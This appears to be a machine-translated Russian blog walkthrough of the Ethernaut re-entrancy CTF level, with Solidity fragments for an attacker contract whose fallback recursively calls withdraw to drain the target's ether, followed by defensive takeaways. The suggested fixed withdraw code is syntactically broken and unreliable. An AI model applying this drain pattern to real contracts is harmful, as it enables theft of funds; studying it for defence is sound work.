Это углубленная серия, посвященная головоломкам безопасности смарт-контрактов команды Zeppelin. Мы изучаем ключевые концепции Solidity, чтобы решать головоломки на 100% самостоятельно.
Этот уровень требует, чтобы вы украли все эфиры из контракта.
What is re-entrancy
Повторный вход происходит в однопоточных вычислительных средах, когда стек выполнения перескакивает или вызывает подпрограммы, прежде чем вернуться к исходному выполнению.
С одной стороны, это однопоточное выполнение обеспечивает атомарность контрактов и устраняет некоторые состояния гонки. С другой стороны, контракты уязвимы из-за неправильного порядка исполнения.
В приведенном выше примере контракт B - это злонамеренный контракт, который рекурсивно вызывает A.withdraw () для истощения средств контракта A. Обратите внимание, что извлечение средств успешно завершается до того, как контракт A возвращается из своего рекурсивного цикла, и даже понимает, что B извлек намного больше своего собственного баланса.
Этот уровень Ethernaut использует эту проблему повторного входа и следующие дополнительные факторы, которые привели к взлому DAO:
- Резервные функции могут быть вызваны кем угодно и выполнить вредоносный код
- Вредоносные внешние контракты могут злоупотреблять снятием средств
Подробное пошаговое руководство
- Создайте вредоносный контракт под названием
Reenter.sol
, который сначала будет жертвоватьReentrance.sol
, а затем рекурсивно снимать его до тех пор, пока Reentrance не исчерпает средства.
contract Reenter { Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR); uint public amount = 1 ether; //withdrawal amount each time }
2. Посев Reenter.sol
с эфирами при строительстве контракта:
constructor() public payable { }
3. Создайте публичную функцию, чтобы Reenter.sol
мог делать пожертвования Reentrance.sol
и регистрироваться в качестве донора в своей balances
бухгалтерской книге:
function donateToSelf() public { original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn }
Вызов этой функции гарантирует, что ваш вредоносный контракт сможет вызвать withdraw()
хотя бы один раз, то есть пройти проверку if(balances[msg.sender] >= _amount)
.
На приведенной выше диаграмме показан рекурсивный цикл, который позволяет Reenter.sol
извлекать все средства из Reentrance.sol
.
Давайте реализуем злонамеренную функцию отката в контракте B, чтобы, когда контракт A выполняет msg.sender.call.value(_amount)()
для возврата денег по контракту B, ваши злонамеренные контракты инициируют еще больше снятия средств.
4. Реализуйте эту вредоносную функцию отката:
function() public payable { if (address(original).balance != 0 ) { original.withdraw(amount); } }
5. Наконец, в Remix: разверните свой контракт в Ropsten, заполнив его эфирами, сделайте пожертвование Reentrance
, затем вызовите резервную функцию, чтобы исчерпать все средства из Reentrance
.
Ключевые выводы по безопасности
- Порядок выполнения действительно имеет значение в Solidity. Если вам необходимо выполнить вызовы внешних функций, сделайте последнее, что вы делаете (после всех необходимых проверок и противовесов):
function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { balances[msg.sender] -= _amount; if(msg.sender.transfer(_amount)()) { _amount; } } } // Or even better, invoke transfer in a separate function
- Включите мьютекс, чтобы предотвратить повторное вхождение, например используйте логическую переменную
lock
, чтобы указать глубину выполнения. - Будьте осторожны при использовании модификаторов функций для проверки инвариантов: модификаторы выполняются в начале функции. Если состояние переменной будет изменяться в течение всей функции, рассмотрите возможность извлечения модификатора в проверку, размещенную в правильной строке функции.
- «Используйте
transfer
для вывода средств из вашего контракта, поскольку онthrow
s и ограничивает пересылку газа. Функции низкого уровня, такие какcall
иsend
, просто возвращают false, но не прерывают поток выполнения при сбое принимающего контракта ». - с уровня Ethernaut - Ознакомьтесь с полным анализом взлома DAO здесь.
Больше уровней
Получайте лучшие предложения по программному обеспечению прямо в свой почтовый ящик